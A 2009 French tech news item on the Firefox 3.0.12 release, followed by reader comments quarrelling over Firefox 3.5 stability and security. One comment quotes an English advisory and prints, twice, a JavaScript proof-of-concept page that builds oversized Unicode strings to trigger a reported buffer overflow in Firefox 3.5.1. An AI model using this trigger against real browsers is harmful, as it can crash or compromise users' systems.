nos newsletters
Abonnez-vous à Micro Hebdo : 1,23€ / n°
Abonnez-vous à l'Ordinateur Individuel : 3 €/mois
Abonnez-vous à 01Business et Technologies : 3,20€ / n°
Abonnez-vous à la version digitale
La version 3.0.12 de Firefox à télécharger
La sortie de Firefox 3.5, ainsi que celle de sa première mise à jour (Firefox 3.5.1), ne fait pas oublier à Mozilla que nombre d'internautes préfèrent encore utiliser la précédente version du navigateur, Firefox 3. D'autant que Firefox 3.5 est décrié pour ses bugs et ses problèmes de stabilité.
Les internautes peuvent ainsi télécharger aujourd'hui la version 3.0.12 du logiciel open source, pour Windows, Mac et Linux. Cette mise à jour, qui était prévue, améliore la sécurité et la stabilité du navigateur. Une v.3.0.13 est programmée pour début septembre. Le petit nouveau, Firefox 3.5, passera en v.3.5.2 dans le courant de l'été, fin juillet ou début août.
Télécharger Firefox 3.0.12 pour Windows
Télécharger Firefox 3.0.12 pour Linux
Télécharger Firefox 3.0.12 pour Mac
Actu précédente
Actu Suivante
Il est vrai que la 3.5 et 3.5.1 sont des mer*es !
de
Gergo Armani
, posté le 21 juillet 2009 à 19h17
Et quand on pense que Mozilla planche déjà sur une nouvelle interface, il ferait mieux de bosser sur la stabilité car sinon il va être facile dans quelques temps de dire : Mozilla c'est comme Microsoft, les bugs perdurent de versions en versions.
alerter le modérateur
LENTEUR
de
Mauchrist
, posté le 22 juillet 2009 à 09h12
écrire "lenteur" est déjà dire qu'il avance !
Nombreux blocages qui dure des min interminables !!
Blocage de scripts à n'en plus finir, ect... je retourne à la version précédente car IE xx non merci, j'ai donné !
Nombreux blocages qui dure des min interminables !!
Blocage de scripts à n'en plus finir, ect... je retourne à la version précédente car IE xx non merci, j'ai donné !
alerter le modérateur
Parle pour toi !
de
swan68net
, posté le 22 juillet 2009 à 14h31
Aucun problème avec la version 3.5 et c'est encore mieux avec la mise à jour 3.5.1 chez moi... Il faut simplement avec une machine et un système propre pour l'utiliser...
alerter le modérateur
Mme je ne parlerai pas de ce navigateur, c'est une mer*e !
de
Comité contre les chats
, posté le 21 juillet 2009 à 19h30
Tout est dans le titre
alerter le modérateur
...
de
Jewel-
, posté le 21 juillet 2009 à 19h31
C'est un peu facile de dire des trucs comme ça sans justifier...
alerter le modérateur
Justifications
de
Comité contre les chats
, posté le 21 juillet 2009 à 19h40
Je cite : "D'autant que Firefox 3.5 est décrié pour ses bugs et ses problèmes de stabilité."
et puis
"http://www.01net.com/editorial/504379/mozilla-publie-firefox-3-5-1-pour-combler-les-failles-de-son-navigateur/#"
sans oublier
"http://www.zdnet.fr/actualites/internet/0,39020774,39702369,00.htm"
pour finir une simple recherche sur le net en enlevant ses oeillères et en faisant fonctionner ses petites neurones, amène les mêmes conclusions
et puis
"http://www.01net.com/editorial/504379/mozilla-publie-firefox-3-5-1-pour-combler-les-failles-de-son-navigateur/#"
sans oublier
"http://www.zdnet.fr/actualites/internet/0,39020774,39702369,00.htm"
pour finir une simple recherche sur le net en enlevant ses oeillères et en faisant fonctionner ses petites neurones, amène les mêmes conclusions
alerter le modérateur
N'importe quoi!
de
Revan26914
, posté le 22 juillet 2009 à 00h52
Qu'est-ce qu'il ne faut pas entendre!
Cite moi UN navigateur qui n'a pas de failles de sécurité ?
La différence entre Firefox et IE (par exemple!) c'est que Mozilla corrige la faille dans les jours qui suivent sa signalisation (généralement). Microsoft a mis près d'une année pour corriger certaines failles de sécurité qui étaient très dangereuses.
Et comme c'est dit dans ton premier lien: "Mozilla a vite réagi pour combler la faille de sécurité". Et c'est justement ce critère (entre autres) qui détermine la fiabilité d'un navigateur.
Qu'on critique une version du navigateur qui n'est pas à la hauteur des attentes, je veux bien. Mais de dire que Firefox de manière général c'est de la mer*e (comme c'est le cas dans le titre du comm: "Mme je ne parlerai pas de ce navigateur, c'est une mer*e !") et qu'on justifie ça par une faille de sécurité, là non!
Cite moi UN navigateur qui n'a pas de failles de sécurité ?
La différence entre Firefox et IE (par exemple!) c'est que Mozilla corrige la faille dans les jours qui suivent sa signalisation (généralement). Microsoft a mis près d'une année pour corriger certaines failles de sécurité qui étaient très dangereuses.
Et comme c'est dit dans ton premier lien: "Mozilla a vite réagi pour combler la faille de sécurité". Et c'est justement ce critère (entre autres) qui détermine la fiabilité d'un navigateur.
Qu'on critique une version du navigateur qui n'est pas à la hauteur des attentes, je veux bien. Mais de dire que Firefox de manière général c'est de la mer*e (comme c'est le cas dans le titre du comm: "Mme je ne parlerai pas de ce navigateur, c'est une mer*e !") et qu'on justifie ça par une faille de sécurité, là non!
alerter le modérateur
Alors...
de
wolverine00
, posté le 22 juillet 2009 à 08h14
... porquoi posté??? Parce que du coup tu es la deuxième personne à en parler...
alerter le modérateur
Meuh non!!!
de
DarkVenoM
, posté le 22 juillet 2009 à 09h02
Mais non voyons, firefox est libre, donc il ne peut pas y avoir de bugs, si jamais il y en a un, la communauté de développeurs open source le verra et le corrigera... Ou pas...
alerter le modérateur
La merde, c'est toi !
de
swan68net
, posté le 22 juillet 2009 à 14h36
Il faut faire le ménage sur ta machine avec CCleaner par exemple, et voir le reste des données encore en mémoire sur le disque dur de temps en temps...
Avant de critiquer, il faut SAVOIR faire le ménage chez-soi...
Avant de critiquer, il faut SAVOIR faire le ménage chez-soi...
alerter le modérateur
Ce que c'est naze comme message
de
Gloupsss
, posté le 22 juillet 2009 à 15h37
Ce ne sont pas des justifications... Tu reprends tout au plus des articles qui eux , ne sombres pas dans une médiocrité simpliste . Qu'un nav ait des failles ne fait pas de lui un mauvais outils ...
alerter le modérateur
Bravo !......
de
salambox
, posté le 21 juillet 2009 à 19h40
Bravo ça c'est du dialogue constructif et argumenté....pffff ben alors j'adore la merde depuis bien des années ! pov garçon...
alerter le modérateur
Firefox 3.5 estampillée 3.5.1 est victime d’une faille de sécurité de type 0 Day
de
Comité contre les chats
, posté le 21 juillet 2009 à 19h43
Publiée vendredi, la première mise à jour de sécurité de Firefox 3.5 estampillée 3.5.1 est victime d’une faille de sécurité de type 0 Day, c’est-à-dire découverte quelques heures seulement après son lancement.
"http://www.laptopspirit.fr/47060/firefox-351-faille-de-securite-0-day-bientot-1-milliard-de-telechargements.html"
"http://www.laptopspirit.fr/47060/firefox-351-faille-de-securite-0-day-bientot-1-milliard-de-telechargements.html"
alerter le modérateur
Ca c'est de l'info !
de
Phy.
, posté le 21 juillet 2009 à 20h05
C'est sympa d'avoir indiqué le lien ; on y lit :
"les rapports dans la presse et de diverses agences de sécurité ont indiqué à tort qu’il s’agit d’un bug exploitable. Notre analyse indique qu’il ne l’est pas, et nous n’avons vu aucun exemple de l’exploitabilité."
Juste au cas où des lecteurs pressés auraient lu le titre de CClC sans voir la suite.
"les rapports dans la presse et de diverses agences de sécurité ont indiqué à tort qu’il s’agit d’un bug exploitable. Notre analyse indique qu’il ne l’est pas, et nous n’avons vu aucun exemple de l’exploitabilité."
Juste au cas où des lecteurs pressés auraient lu le titre de CClC sans voir la suite.
alerter le modérateur
T'en c*n ou quoi ?
de
Comité contre les chats
, posté le 21 juillet 2009 à 20h48
"les rapports dans la presse et de diverses agences de sécurité ont indiqué à tort qu’il s’agit d’un bug exploitable. Notre analyse indique qu’il ne l’est pas, et nous n’avons vu aucun exemple de l’exploitabilité."
sont les propos de Mozilla, mais le bug en bien présent.
forcément, moi aussi si j'étais Mozilla je nierai en bloc comme lors de l'affaire du bug de Firefox lors des élections prud'hommale.
renseigne toi un peu avant de parler.
sont les propos de Mozilla, mais le bug en bien présent.
forcément, moi aussi si j'étais Mozilla je nierai en bloc comme lors de l'affaire du bug de Firefox lors des élections prud'hommale.
renseigne toi un peu avant de parler.
alerter le modérateur
Chercher plus loin...
de
JJ1960
, posté le 21 juillet 2009 à 21h30
IBM qui fait partie des gens qui ont découvert le bug,et qu'on peut difficilement traiter de "microsoftiens", ont démontré que la faille de type "buffer overflow" est exploitable!
alerter le modérateur
Méchant !!
de
Mauchrist
, posté le 22 juillet 2009 à 09h15
vous êtes méchant avec les internautes ayant des limites intellectuelles !
Un peu de commisérations envers eux.
Maintenant, il va peut-être faire un caca nerveux.
Un peu de commisérations envers eux.
Maintenant, il va peut-être faire un caca nerveux.
alerter le modérateur
C'est bidon !
de
swan68net
, posté le 22 juillet 2009 à 14h40
Il faur suivre les indos !
Cette faille n'a aucun effet sur le navigateur d'après les dernières analyses de Mozilla !
Cette faille n'a aucun effet sur le navigateur d'après les dernières analyses de Mozilla !
alerter le modérateur
ET ça ?!
de
JJ1960
, posté le 22 juillet 2009 à 15h06
"
It has been only a few days ago that the Mozilla Firefox team released an update for Firefox 3.5 to Firefox 3.5.1 that would close a recently disclosed critical security vulnerability that allowed attackers to execute arbitrary code on the attacked computer system. Earlier today another Firefox vulnerability was disclosed to the public that affects the latest version of Firefox. The vulnerability can be remotely exploited and uses an stack based buffer overflow that is triggered by an overly long string of Unicode data. It can lead to remote code execution or to crashes, freezes or the allocation of a lot of computer memory.
The Proof of Concept
<html>
<head>
<script language="JavaScript" type="Text/Javascript">
var str = unescape("%u4141%u4141");
var str2 = unescape("%u0000%u0000");
var finalstr2 = mul8(str2, 49000000);
var finalstr = mul8(str, 21000000);
document.write(finalstr2);
document.write(finalstr);
function mul8 (str, num) {
var i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < --i);
return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>
" Voilà la preuve.Evidemment,ils vont pas dire que leur navigateur a des failles exploitables...Dire que j'étais passé à FF sur les conseils d'un ami qui vantait la totale sécurité et absence de bugs de son navigateur...+/- vrai jusqu'au 3.01;depuis freezes,crashs,impossibilité 2 X sur 3 de faire copier/coller....pop-up de prog qui veut être réinstallé à chaque démarrage FF;et j'en passe...
Mozzilla conseille d'ailleurs de désactiver Javascript sur 3.5.1! Reste plus rien du net,alors!
It has been only a few days ago that the Mozilla Firefox team released an update for Firefox 3.5 to Firefox 3.5.1 that would close a recently disclosed critical security vulnerability that allowed attackers to execute arbitrary code on the attacked computer system. Earlier today another Firefox vulnerability was disclosed to the public that affects the latest version of Firefox. The vulnerability can be remotely exploited and uses an stack based buffer overflow that is triggered by an overly long string of Unicode data. It can lead to remote code execution or to crashes, freezes or the allocation of a lot of computer memory.
The Proof of Concept
<html>
<head>
<script language="JavaScript" type="Text/Javascript">
var str = unescape("%u4141%u4141");
var str2 = unescape("%u0000%u0000");
var finalstr2 = mul8(str2, 49000000);
var finalstr = mul8(str, 21000000);
document.write(finalstr2);
document.write(finalstr);
function mul8 (str, num) {
var i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < --i);
return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>
" Voilà la preuve.Evidemment,ils vont pas dire que leur navigateur a des failles exploitables...Dire que j'étais passé à FF sur les conseils d'un ami qui vantait la totale sécurité et absence de bugs de son navigateur...+/- vrai jusqu'au 3.01;depuis freezes,crashs,impossibilité 2 X sur 3 de faire copier/coller....pop-up de prog qui veut être réinstallé à chaque démarrage FF;et j'en passe...
Mozzilla conseille d'ailleurs de désactiver Javascript sur 3.5.1! Reste plus rien du net,alors!
alerter le modérateur
PFffffffff
de
Gloupsss
, posté le 22 juillet 2009 à 15h41
Et alors....! ce simple défaut vite corrigé ferait de lui un mauvais navigateur!? Heureusement que le ridicule ne tue pas ...Il serait la cause d'un terrible génocide !
alerter le modérateur
La faille...
de
JJ1960
, posté le 22 juillet 2009 à 21h38
...peut-être.Mais tout le reste??
FF 3.0.12,lui, on dirait que ça va (pour le moment...)
FF 3.0.12,lui, on dirait que ça va (pour le moment...)
alerter le modérateur
à lire aussi
SUR LES MÊMES THÈMES 
